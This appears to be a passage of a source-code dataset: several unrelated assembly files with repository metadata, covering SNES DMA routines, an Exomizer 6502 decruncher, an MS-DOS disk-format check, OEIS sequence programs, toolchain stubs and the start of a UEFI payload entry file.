8f47fe038aaf987a28dee6dd66d0e0c6b948e22f
| 2,023
|
asm
|
Assembly
|
src/LKS/DMA.asm
|
Kannagi/LKS
|
363ccbfbe93a78e227349967053075ba67f4e50c
|
[
"MIT"
] | 6
|
2019-04-18T12:08:23.000Z
|
2021-07-07T08:07:28.000Z
|
src/LKS/DMA.asm
|
Kannagi/LKS
|
363ccbfbe93a78e227349967053075ba67f4e50c
|
[
"MIT"
] | null | null | null |
src/LKS/DMA.asm
|
Kannagi/LKS
|
363ccbfbe93a78e227349967053075ba67f4e50c
|
[
"MIT"
] | null | null | null |
/*
bgx 21 0x80
bgy 24 0x80
Pal 30 0x100
Sprite 30 + 40 0x100
Sprite 45 0x80
.DEFINE CNT 0
.REPT 256
.DB CNT
.REDEFINE CNT CNT+1
.ENDR
+30
+(Size/5)
VRAM1 0
VRAM2 5
VRAM3 10
VRAM4 15
VRAMx2 +5
455-(0x100/5,12)-15-VRAM
*/
LKS_DMA_SORT:
rep #$20
lda LKS_DMA_SEND.i
cmp #0
sep #$20
bne +
rtl
+:
rep #$20
ldy #0
tax
stz MEM_TEMP
stz MEM_TEMP +2
stz MEM_TEMP +4
lda LKS_BG.EnableX
cmp #0
beq +
lda #21
sta MEM_TEMP
+:
lda LKS_BG.EnableY
cmp #0
beq +
lda #24
sta MEM_TEMP+2
+:
lda LKS_PAL.type
cmp #$0
beq +
lda #31
sta MEM_TEMP+4
+:
lda #450
sec
sbc MEM_TEMP
sbc MEM_TEMP+2
sbc MEM_TEMP+4
sta MEM_TEMP
-:
lda LKS_DMA_SEND.index-2,x
sta MEM_TEMP+2
phx
tax
lda LKS_DMA.Enable,x
and #$FF
sta MEM_TEMP+4
lda MEM_TEMP
sec
sbc LKS_DMA.dmat,x
sta MEM_TEMP
plx
cmp #25
bmi +
phx
tyx
lda MEM_TEMP+4
sta LKS_DMA_SEND.Enable,x
lda MEM_TEMP+2
sta LKS_DMA_SEND.dma,x
iny
iny
plx
dex
dex
cpy #10
beq +
cpx #0
bne -
+:
txa
sta LKS_DMA_SEND.i
lda MEM_TEMP
sep #$20
rtl
LKS_DMA_BG3:
lda #$7E
sta DMA_BANK
ldy #$200
sty DMA_SIZEL
ldx #LKS_BUF_BG3&$FFFF
ldy #$5800
lda LKS.bg3i
LKS_DMA_BG3_bloc 1
LKS_DMA_BG3_bloc 2
LKS_DMA_BG3_bloc 3
cmp #3
bne +
stz LKS.bg3i
bra ++
+:
ldx #LKS_BUF_BG3&$FFFF
ldy #$5800
inc LKS.bg3i
++:
stx DMA_ADDL
sty VMADDL
SNES_MDMAEN $01
rtl
LKS_DMA_OAM:
ldx #$0000
stx OAMADDL
lda #$7E
ldx #LKS_BUF_OAML&$FFFF
ldy #$220
sta DMA_BANK+CHANNEL4
stx DMA_ADDL+CHANNEL4
sty DMA_SIZEL+CHANNEL4
SNES_MDMAEN $10
rtl
LKS_DMA_PAL:
lda LKS_PAL.type
cmp #$0
bne +
rtl
+:
SNES_DMA5 $00
SNES_DMA5_BADD $22
lda LKS_PAL.type
cmp #$2
bne +
SNES_CGADD $80
ldx #LKS_BUF_PAL&$FFFF+$100
bra ++
+:;else
SNES_CGADD $00
ldx #LKS_BUF_PAL&$FFFF
++:
lda #$7E
ldy #$100
sta DMA_BANK+CHANNEL5
stx DMA_ADDL+CHANNEL5
sty DMA_SIZEL+CHANNEL5
SNES_MDMAEN $20
stz LKS_PAL.type
rtl
| 9.633333
| 29
| 0.637667
|
7a7be4ef9576ffd059675e9a92b77fdda81b40ad
| 522
|
asm
|
Assembly
|
IServer/client-examples/callret.asm
|
devzendo/transputer-emulator
|
0609b100c480f661aada4fc0d75d63d9038e6b56
|
[
"Apache-2.0"
] | 5
|
2020-02-22T19:05:48.000Z
|
2020-09-02T17:14:11.000Z
|
IServer/client-examples/callret.asm
|
devzendo/transputer-emulator
|
0609b100c480f661aada4fc0d75d63d9038e6b56
|
[
"Apache-2.0"
] | null | null | null |
IServer/client-examples/callret.asm
|
devzendo/transputer-emulator
|
0609b100c480f661aada4fc0d75d63d9038e6b56
|
[
"Apache-2.0"
] | 1
|
2022-02-16T05:40:06.000Z
|
2022-02-16T05:40:06.000Z
|
TITLE Transputer Call and Return
PAGE 60,132
.T800
MemStart EQU 0x80000070
ORG MemStart - 1
DB STOP - START
ORG MemStart
START:
call FUNC - L1
L1:
FIN:
stopp
FUNC:
ret
db 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa
db 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa
db 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa
db 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa, 0x55, 0xaa
STOP:
END
; WPtr is set to #80000079 after this boots. But the call overwrites this code!
| 16.3125
| 81
| 0.636015
|
e0662fce163c32c413980a876f8f0924e1de3c94
| 219
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_shrink_to_fit_fastcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_shrink_to_fit_fastcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/adt/b_vector/c/sdcc_iy/b_vector_shrink_to_fit_fastcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; int b_vector_shrink_to_fit_fastcall(b_vector_t *v)
SECTION code_adt_b_vector
PUBLIC _b_vector_shrink_to_fit_fastcall
_b_vector_shrink_to_fit_fastcall:
INCLUDE "adt/b_vector/z80/asm_b_vector_shrink_to_fit.asm"
| 19.909091
| 60
| 0.863014
|
38033697a87e570a04a97017e14b6aadf8a280e2
| 147
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/string/c/sccz80/rindex_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/string/c/sccz80/rindex_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/string/c/sccz80/rindex_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; BSD
; char *rindex(const char *s, int c)
SECTION code_string
PUBLIC rindex_callee
EXTERN strrchr_callee
defc rindex_callee = strrchr_callee
| 12.25
| 36
| 0.782313
|
180c5d352f574103ad9adeac0e353031d7a62100
| 16,308
|
asm
|
Assembly
|
src/exo.asm
|
onslaught-demogroup/ons_paddo_music_disk
|
6a945f918fd1220b325385d14327b5e1ee86295d
|
[
"MIT"
] | null | null | null |
src/exo.asm
|
onslaught-demogroup/ons_paddo_music_disk
|
6a945f918fd1220b325385d14327b5e1ee86295d
|
[
"MIT"
] | null | null | null |
src/exo.asm
|
onslaught-demogroup/ons_paddo_music_disk
|
6a945f918fd1220b325385d14327b5e1ee86295d
|
[
"MIT"
] | null | null | null |
/*
Note that the ZP being used here need to
match the ZP of the pointer used by the
IRQ loader
*/
exo_exo:
lda $f0
sta opbase + 1
lda $f1
sta opbase + 2
jmp exod_decrunch
exod_get_crunched_byte:
lda opbase + 1
bne nowrap
dec opbase + 2
nowrap:
dec opbase + 1
opbase:
lda $ffff
rts
//
// Copyright (c) 2002 - 2019 Magnus Lind.
//
// This software is provided 'as-is', without any express or implied warranty.
// In no event will the authors be held liable for any damages arising from
// the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented// you must not
// claim that you wrote the original software. If you use this software in a
// product, an acknowledgment in the product documentation would be
// appreciated but is not required.
//
// 2. Altered source versions must be plainly marked as such, and must not
// be misrepresented as being the original software.
//
// 3. This notice may not be removed or altered from any distribution.
//
// 4. The names of this software and/or it's copyright holders may not be
// used to endorse or promote products derived from this software without
// specific prior written permission.
//
// -------------------------------------------------------------------
// Known quirks:
// Can't handle a sequence reference that ends at $ffff. It is left in
// since it is a corner case and fixing it impacts negatively on
// performance or backwards compatibility.
// A simple way to work around this is to not decrunch to address $ffff.
// -------------------------------------------------------------------
// Controls if the shared get_bits routines should be inlined or not.
//#define INLINE_GET_BITS
// -------------------------------------------------------------------
// if literal sequences is not used (the data was crunched with the -c
// flag) then the following line can be uncommented for shorter and.
// slightly faster code.
//#define LITERAL_SEQUENCES_NOT_USED
// -------------------------------------------------------------------
// if the sequence length is limited to 256 (the data was crunched with
// the -M256 flag) then the following line can be uncommented for
// shorter and slightly faster code.
//#define MAX_SEQUENCE_LENGTH_256
// -------------------------------------------------------------------
// if the sequence length 3 has its own offset table (the data was
// crunched with the -P+16 flag) then the following
// line must be uncommented.
//#define EXTRA_TABLE_ENTRY_FOR_LENGTH_THREE
// -------------------------------------------------------------------
// if sequence offsets are not reused (the data was crunched with the
// -P-32 flag) then the following line must be uncommented. Uncommenting the
// line will also result in shorter and slightly faster code.
//#define DONT_REUSE_OFFSET
// -------------------------------------------------------------------
// if decrunching forwards then the following line must be uncommented.
//#define DECRUNCH_FORWARDS
// -------------------------------------------------------------------
// if split encoding is used (the data is crunched with the -E flag)
// then the following line must be uncommented.
//#define ENABLE_SPLIT_ENCODING
// -------------------------------------------------------------------
// The decruncher jsr:s to the exod_get_crunched_byte address when it wants to
// read a crunched byte into A. This subroutine has to preserve X and Y
// register and must not modify the state of the carry nor the overflow flag.
// -------------------------------------------------------------------
// -------------------------------------------------------------------
// The exod_decrunch function is the heart of the decruncher.
// It initializes the decruncher zeropage locations and precalculates the
// decrunch tables and decrunches the data
// This function will not change the interrupt status bit and it will not
// modify the memory configuration.
// -------------------------------------------------------------------
// -------------------------------------------------------------------
// zero page addresses used
// -------------------------------------------------------------------
.label exod_zp_len_lo = $d0
.label exod_zp_len_hi = $d1
.label exod_zp_src_lo = $d2
.label exod_zp_src_hi = $d3
.label exod_zp_bits_hi = $d4
#if !DONT_REUSE_OFFSET
.label exod_zp_ro_state = $d5
#endif
.label exod_zp_bitbuf = $ed
.label exod_zp_dest_lo = exod_zp_bitbuf + 1 // dest addr lo
.label exod_zp_dest_hi = exod_zp_bitbuf + 2 // dest addr hi
#if EXTRA_TABLE_ENTRY_FOR_LENGTH_THREE
.label _encoded_entries = 68
#else
.label _encoded_entries = 52
#endif
.label _tabl_bi = exod_decrunch_table
.label _tabl_lo = exod_decrunch_table + _encoded_entries
.label _tabl_hi = exod_decrunch_table + _encoded_entries * 2
//// refill bits is always inlined
.macro exod_mac_refill_bits() {
pha
jsr exod_get_crunched_byte
rol
sta exod_zp_bitbuf
pla
}
.macro exod_mac_get_bits() {
#if INLINE_GET_BITS
adc #$80 // needs c=0, affects v
asl
bpl _gb_skip
_gb_next:
asl exod_zp_bitbuf
bne _gb_ok
:exod_mac_refill_bits()
_gb_ok:
rol
bmi _gb_next
_gb_skip:
bvc _skip
_gb_get_hi:
sec
sta exod_zp_bits_hi
jsr exod_get_crunched_byte
_skip:
#else
jsr exod_get_bits
#endif
}
.macro exod_mac_init_zp() {
// -------------------------------------------------------------------
// init zeropage and x reg. (8 bytes)
//
_init_zp:
jsr exod_get_crunched_byte
sta exod_zp_bitbuf - 1,x
dex
bne _init_zp
}
#if !INLINE_GET_BITS
exod_get_bits:
adc #$80 // needs c=0, affects v
asl
bpl _gb_skip
_gb_next:
asl exod_zp_bitbuf
bne _gb_ok
:exod_mac_refill_bits()
_gb_ok:
rol
bmi _gb_next
_gb_skip:
bvs _gb_get_hi
rts
_gb_get_hi:
sec
sta exod_zp_bits_hi
jmp exod_get_crunched_byte
#endif
// -------------------------------------------------------------------
// no code below this comment has to be modified in order to generate
// a working decruncher of this source file.
// However, you may want to relocate the tables last in the file to a
// more suitable address.
// -------------------------------------------------------------------
// -------------------------------------------------------------------
// jsr this label to decrunch, it will in turn init the tables and
// call the decruncher
// no constraints on register content, however the
// decimal flag has to be cleared (it almost always is, otherwise do a cld)
exod_decrunch:
ldx #3
:exod_mac_init_zp()
// -------------------------------------------------------------------
// calculate tables (64 bytes) + get_bits macro
// x and y must be #0 when entering
//
ldy #0
clc
_table_gen:
tax
tya
and #$0f
sta _tabl_lo,y
beq _shortcut // start a new sequence
// -------------------------------------------------------------------
txa
adc _tabl_lo - 1,y
sta _tabl_lo,y
lda exod_zp_len_hi
adc _tabl_hi - 1,y
_shortcut:
sta _tabl_hi,y
// -------------------------------------------------------------------
lda #$01
sta <exod_zp_len_hi
lda #$78 // %01111000
:exod_mac_get_bits()
// -------------------------------------------------------------------
lsr
tax
beq _rolled
php
_rolle:
asl exod_zp_len_hi
sec
ror
dex
bne _rolle
plp
_rolled:
ror
sta _tabl_bi,y
bmi _no_fixup_lohi
lda exod_zp_len_hi
stx exod_zp_len_hi
.byte $24
_no_fixup_lohi:
txa
// -------------------------------------------------------------------
iny
cpy #_encoded_entries
bne _table_gen
// -------------------------------------------------------------------
#if ENABLE_SPLIT_ENCODING
rts
exod_split_decrunch:
ldx #3
jsr _split_init_zp
// X reg must be 0 here
sec
_normal_decrunch:
#endif
// -------------------------------------------------------------------
// prepare for main decruncher
#if !DONT_REUSE_OFFSET
ror exod_zp_ro_state
sec
#endif
ldy exod_zp_dest_lo
stx exod_zp_dest_lo
stx exod_zp_bits_hi
// -------------------------------------------------------------------
// copy one literal byte to destination (11 bytes)
//
_literal_start1:
#if !DECRUNCH_FORWARDS
tya
bne _no_hi_decr
dec exod_zp_dest_hi
#if !DONT_REUSE_OFFSET
dec exod_zp_src_hi
#endif
_no_hi_decr:
dey
#endif
jsr exod_get_crunched_byte
sta (exod_zp_dest_lo),y
#if DECRUNCH_FORWARDS
iny
bne skip_hi_incr
inc exod_zp_dest_hi
#if !DONT_REUSE_OFFSET
inc exod_zp_src_hi
#endif
skip_hi_incr:
#endif
// -------------------------------------------------------------------
// fetch sequence length index (15 bytes)
// x must be #0 when entering and contains the length index + 1
// when exiting or 0 for literal byte
_next_round:
#if !DONT_REUSE_OFFSET
ror exod_zp_ro_state
#endif
dex
lda exod_zp_bitbuf
_no_literal1:
asl
bne _nofetch8
jsr exod_get_crunched_byte
rol
_nofetch8:
inx
bcc _no_literal1
sta exod_zp_bitbuf
// -------------------------------------------------------------------
// check for literal byte (2 bytes)
//
beq _literal_start1
// -------------------------------------------------------------------
// check for decrunch done and literal sequences (4 bytes)
//
cpx #$11
#if INLINE_GET_BITS
bcc _skip_jmp
jmp _exit_or_lit_seq
_skip_jmp:
#else
bcs _exit_or_lit_seq
#endif
// -------------------------------------------------------------------
// calulate length of sequence (zp_len) (18(11) bytes) + get_bits macro
//
lda _tabl_bi - 1,x
:exod_mac_get_bits()
adc _tabl_lo - 1,x // we have now calculated zp_len_lo
sta exod_zp_len_lo
#if !MAX_SEQUENCE_LENGTH_256
lda exod_zp_bits_hi
adc _tabl_hi - 1,x // c = 0 after this.
sta exod_zp_len_hi
// -------------------------------------------------------------------
// here we decide what offset table to use (27(26) bytes) + get_bits_nc macro
// z-flag reflects zp_len_hi here
//
ldx exod_zp_len_lo
#else
tax
#endif
#if !MAX_SEQUENCE_LENGTH_256
lda #0
#endif
#if !DONT_REUSE_OFFSET
// -------------------------------------------------------------------
// here we decide to reuse latest offset or not (13(15) bytes)
//
bit <exod_zp_ro_state
bmi _test_reuse
_no_reuse:
#endif
// -------------------------------------------------------------------
// here we decide what offset table to use (17(15) bytes)
//
#if !MAX_SEQUENCE_LENGTH_256
sta <exod_zp_bits_hi
#endif
lda #$e1
#if EXTRA_TABLE_ENTRY_FOR_LENGTH_THREE
cpx #$04
#else
cpx #$03
#endif
bcs _gbnc2_next
lda _tabl_bit - 1,x
_gbnc2_next:
asl exod_zp_bitbuf
bne _gbnc2_ok
tax
jsr exod_get_crunched_byte
rol
sta exod_zp_bitbuf
txa
_gbnc2_ok:
rol
bcs _gbnc2_next
tax
// -------------------------------------------------------------------
// calulate absolute offset (zp_src) (17 bytes) + get_bits macro
//
lda _tabl_bi,x
:exod_mac_get_bits()
#if !DECRUNCH_FORWARDS
adc _tabl_lo,x
sta exod_zp_src_lo
lda exod_zp_bits_hi
adc _tabl_hi,x
adc exod_zp_dest_hi
sta exod_zp_src_hi
#else
clc
adc _tabl_lo,x
eor #$ff
sta exod_zp_src_lo
lda exod_zp_bits_hi
adc _tabl_hi,x
eor #$ff
adc exod_zp_dest_hi
sta exod_zp_src_hi
clc
#endif
// -------------------------------------------------------------------
// prepare for copy loop (2 bytes)
//
ldx exod_zp_len_lo
// -------------------------------------------------------------------
// main copy loop (30 bytes)
//
_copy_next:
#if !DECRUNCH_FORWARDS
tya
bne _copy_skip_hi
dec exod_zp_dest_hi
dec exod_zp_src_hi
_copy_skip_hi:
dey
#endif
#if !LITERAL_SEQUENCES_NOT_USED
bcs _get_literal_byte
#endif
lda (exod_zp_src_lo),y
_literal_byte_gotten:
sta (exod_zp_dest_lo),y
#if DECRUNCH_FORWARDS
iny
bne copy_skip_hi
inc exod_zp_dest_hi
inc exod_zp_src_hi
copy_skip_hi:
#endif
dex
bne _copy_next
#if !MAX_SEQUENCE_LENGTH_256
lda exod_zp_len_hi
#if INLINE_GET_BITS
bne _copy_next_hi
#endif
#endif
stx exod_zp_bits_hi
#if !INLINE_GET_BITS
beq _next_round
#else
jmp _next_round
#endif
#if !MAX_SEQUENCE_LENGTH_256
_copy_next_hi:
dec exod_zp_len_hi
jmp _copy_next
#endif
#if !DONT_REUSE_OFFSET
// -------------------------------------------------------------------
// test for offset reuse (11 bytes)
//
_test_reuse:
bvs _no_reuse
#if MAX_SEQUENCE_LENGTH_256
lda #$00 // fetch one bit
#endif
asl exod_zp_bitbuf
bne _gbnc1_ok
pha
jsr exod_get_crunched_byte
rol
sta exod_zp_bitbuf
pla
_gbnc1_ok:
rol
beq _no_reuse // bit == 0 => C=0, no reuse
bne _copy_next // bit != 0 => C=0, reuse previous offset
#endif
// -------------------------------------------------------------------
// exit or literal sequence handling (16(12) bytes)
//
_exit_or_lit_seq:
#if !LITERAL_SEQUENCES_NOT_USED
beq _decr_exit
jsr exod_get_crunched_byte
#if !MAX_SEQUENCE_LENGTH_256
sta exod_zp_len_hi
#endif
jsr exod_get_crunched_byte
tax
bcs _copy_next
_decr_exit:
#endif
rts
#if !LITERAL_SEQUENCES_NOT_USED
_get_literal_byte:
jsr exod_get_crunched_byte
bcs _literal_byte_gotten
#endif
rts
#if EXTRA_TABLE_ENTRY_FOR_LENGTH_THREE
// -------------------------------------------------------------------
// the static stable used for bits+offset for lengths 1, 2 and 3 (3 bytes)
// bits 2, 4, 4 and offsets 64, 48, 32 corresponding to
// %10010000, %11100011, %11100010
_tabl_bit:
.byte $90, $e3, $e2
#else
// -------------------------------------------------------------------
// the static stable used for bits+offset for lengths 1 and 2 (2 bytes)
// bits 2, 4 and offsets 48, 32 corresponding to %10001100, %11100010
_tabl_bit:
.byte $8c, $e2
#endif
// -------------------------------------------------------------------
// end of decruncher
// -------------------------------------------------------------------
// -------------------------------------------------------------------
// this 156 (204) byte table area may be relocated. It may also be
// clobbered by other data between decrunches.
// -------------------------------------------------------------------
exod_decrunch_table:
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
#if EXTRA_TABLE_ENTRY_FOR_LENGTH_THREE
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
#endif
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0,0,0,0,0
// -------------------------------------------------------------------
// end of decruncher
// -------------------------------------------------------------------
| 29.977941
| 78
| 0.527042
|
3eac2a455428ea51d7f94a6e895b57c3de4367ba
| 2,067
|
asm
|
Assembly
|
install/lib/hdisk/hd_isfmt.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
install/lib/hdisk/hd_isfmt.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
install/lib/hdisk/hd_isfmt.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
;========================================================
COMMENT #
HD_ISFMT.ASM
Copyright (c) 1991 - Microsoft Corp.
All rights reserved.
Microsoft Confidential
johnhe 02-18-90
NOTE:
Becasue of bugs in the DOS BIOS this function doesn't work so
use a function which reads the boots sector to find out.
END COMMENT #
; ===========================================================================
INCLUDE model.inc
; ===========================================================================
diskaccess struc
dac_special_func db ?
dac_access_flag db ?
diskaccess ends
GET_ACCESS EQU 0867h
; =======================================================
.CODE
; ===========================================================================
;
; This routine will invoke INT21 44h (Block Generic IOCTL Subfunction)
; call to see if the drive has been previously formatted by using an
; undocumented call.
;
; int IsFormatted( char DriveLetter, struct diskaccess *Dac )
;
; ARGUMENTS: DriveLetter - DOS drive letter (MUST be uppercase)
;
; RETURNS: int - TRUE if drive is formatted
; FALSE if not formatted
; ===========================================================================
; BUGBUG - (jah) - No need to preserver BX or CX in a C callable function
IF @DataSize
HdIsFormatted PROC USES DS BX CX, DriveLetter:BYTE, Dac:PTR
ELSE
HdIsFormatted PROC DriveLetter:BYTE, Dac:PTR
ENDIF
mov AX,440dh ; DOS generic IOCTL check media
xor BH,BH ; BH == 0
mov BL,DriveLetter ; BL == Drive letter
sub BL,'A' ; BL == DOS drive number
inc BL ; 1 ==> 'A', 2==> 'B', etc.
mov CX,GET_ACCESS ; CX == Get format status
; lds DX,Dac ; DS:DX --> Dac struc
LoadPtr DS, DX, Dac ; DS:DX --> Dac struc
int 21h ; DOS call
mov BX,DX ; DS:BX --> Dac struc
xor AX,AX ; Assume not formatted
or [BX].dac_access_flag,11111111b ; Check format status flag
jz HdIsFormattedReturn
mov AX,01 ; Signal disk if formatted
HdIsFormattedReturn:
ret
HdIsFormatted ENDP
END
| 24.034884
| 77
| 0.541364
|
c4432c1edaaa524c41f0fa4c37b1765cc37b9c92
| 1,219
|
asm
|
Assembly
|
programs/oeis/085/A085742.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/085/A085742.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/085/A085742.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A085742: a(n) = T(n^3) - T(n), where T() are the triangular numbers (A000217).
; 0,0,33,372,2070,7860,23415,58968,131292,266040,500445,886380,1493778,2414412,3766035,5696880,8390520,12071088,17008857,23526180,32003790,42887460,56695023,74023752,95558100,122077800,154466325,193719708,240955722,297423420,364513035,443766240,536886768,645751392,772421265,919153620,1088413830,1282887828,1505494887,1759400760,2048031180,2375085720,2744552013,3160720332,3628198530,4151927340,4737196035,5389658448,6115349352,6920701200,7812561225,8798208900,9885373758,11082253572,12397532895,13840401960,15420575940,17148314568,19034442117,21090367740,23328106170,25760298780,28400235003,31261874112,34359867360,37709580480,41327116545,45229339188,49433896182,53959243380,58824669015,64050318360,69657218748,75667304952,82103444925,88989465900,96350180850,104211415308,112600034547,121543971120,131072252760,141215030640,152003607993,163470469092,175649308590,188575061220,202283931855,216813425928,232202380212,248490993960,265720860405,283934998620,303177885738,323495489532,344935301355,367546369440,391379332560,416486454048,442921656177,470740554900
mov $1,$0
pow $0,3
mov $2,$0
add $0,$1
sub $2,$1
mul $0,$2
add $0,$2
div $0,2
| 101.583333
| 1,058
| 0.858901
|
571dcb96bdd0ddf1045f3726c1670eebe5b152b4
| 461
|
asm
|
Assembly
|
asm/psuedo.asm
|
stfnwong/smips
|
f305d24e16632b0a4907607386fc9d98f3d389b5
|
[
"MIT"
] | null | null | null |
asm/psuedo.asm
|
stfnwong/smips
|
f305d24e16632b0a4907607386fc9d98f3d389b5
|
[
"MIT"
] | null | null | null |
asm/psuedo.asm
|
stfnwong/smips
|
f305d24e16632b0a4907607386fc9d98f3d389b5
|
[
"MIT"
] | null | null | null |
# PSUEDO
# Test for expansion of psuedo instructions
.data
arr: .word 3 # actually, addr should be 0x10000000 (default start addr)
.text
bgt $s0, $t1, 8
li $t2, 5 # load a 16-bit immediate
li $t0, 75000 # load a 32-bit immediate
la $t1 arr # load from address 'arr'
; branching with symbols
branch_label:
bgt $s1 $t1 2
blt $s0 $t0 32
blt $s0 $t2 64
; more branch psuedo-ops
bge $s1 $t0 4
ble $s3 $t1 10
bgtu $s0 $t5 10
beqz $s2 500
| 19.208333
| 74
| 0.655098
|
33cfd4ed3cb6c611f97de8ab3fd36962050366ad
| 1,437
|
asm
|
Assembly
|
programs/oeis/247/A247159.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/247/A247159.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/247/A247159.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A247159: Sum of divisors of even semiprimes.
; 7,12,18,24,36,42,54,60,72,90,96,114,126,132,144,162,180,186,204,216,222,240,252,270,294,306,312,324,330,342,384,396,414,420,450,456,474,492,504,522,540,546,576,582,594,600,636,672,684,690,702,720,726,756,774,792,810,816,834,846,852,882,924,936,942,954,996,1014,1044,1050,1062,1080,1104,1122,1140,1152,1170,1194,1206,1230,1260,1266,1296,1302,1320,1332,1350,1374,1386,1392,1404,1440,1464,1476,1500,1512,1530,1566,1572,1626,1644,1674,1692,1710,1716,1734,1764,1782,1800,1806,1824,1842,1854,1860,1896,1926,1932,1944,1962,1980,1986,2022,2034,2052,2076,2106,2130,2160,2184,2202,2220,2232,2256,2274,2286,2310,2322,2364,2394,2430,2436,2466,2472,2484,2490,2520,2562,2574,2580,2592,2634,2646,2652,2664,2724,2736,2760,2790,2814,2826,2844,2862,2904,2916,2934,2952,2976,2994,3030,3042,3060,3066,3096,3102,3120,3150,3156,3186,3192,3210,3264,3276,3282,3294,3312,3330,3354,3372,3390,3456,3462,3492,3516,3546,3564,3582,3606,3642,3654,3672,3690,3696,3714,3750,3780,3834,3840,3852,3870,3876,3894,3906,3912,3924,3960,3966,3984,4086,4104,4122,4146,4200,4230,4272,4284,4290,4302,4320,4344,4356,4362,4380,4416,4446,4452,4464,4470,4482,4500,4536,4572,4596,4632,4650,4662,4680,4704,4716,4740,4752
mov $3,$0
mov $4,$0
cmp $4,0
mov $5,$0
add $5,$4
div $3,$5
cal $0,1748 ; 3 * primes.
mov $5,$0
lpb $3
lpb $0
sub $3,1
mov $0,$3
mov $1,$5
lpe
lpe
lpb $0
sub $0,2
mov $1,$2
mov $2,4
lpe
add $1,3
| 57.48
| 1,172
| 0.739736
|
b661889386f36983f6eada00eb010d8c73c32fe9
| 862
|
nasm
|
Assembly
|
UefiPayloadPkg/UefiPayloadEntry/Ia32/SecEntry.nasm
|
KaoTuz/edk2-stable202108
|
49d9306e7bf64b2f07d8473be1f2faea49d0a012
|
[
"Python-2.0",
"Zlib",
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent",
"BSD-3-Clause"
] | 9
|
2021-07-26T17:02:51.000Z
|
2021-12-30T10:49:46.000Z
|
UefiPayloadPkg/UefiPayloadEntry/Ia32/SecEntry.nasm
|
ESdove/edk2_exploring
|
34ff32b45f43d233d9696e7c8e3de68ea3000a7b
|
[
"Python-2.0",
"Zlib",
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent",
"BSD-3-Clause"
] | null | null | null |
UefiPayloadPkg/UefiPayloadEntry/Ia32/SecEntry.nasm
|
ESdove/edk2_exploring
|
34ff32b45f43d233d9696e7c8e3de68ea3000a7b
|
[
"Python-2.0",
"Zlib",
"BSD-2-Clause",
"MIT",
"BSD-2-Clause-Patent",
"BSD-3-Clause"
] | null | null | null |
;------------------------------------------------------------------------------
;*
;* Copyright (c) 2006 - 2020, Intel Corporation. All rights reserved.<BR>
;* SPDX-License-Identifier: BSD-2-Clause-Patent
;------------------------------------------------------------------------------
#include <Base.h>
SECTION .text
extern ASM_PFX(PayloadEntry)
extern ASM_PFX(PcdGet32 (PcdPayloadStackTop))
;
; SecCore Entry Point
;
; Processor is in flat protected mode
global ASM_PFX(_ModuleEntryPoint)
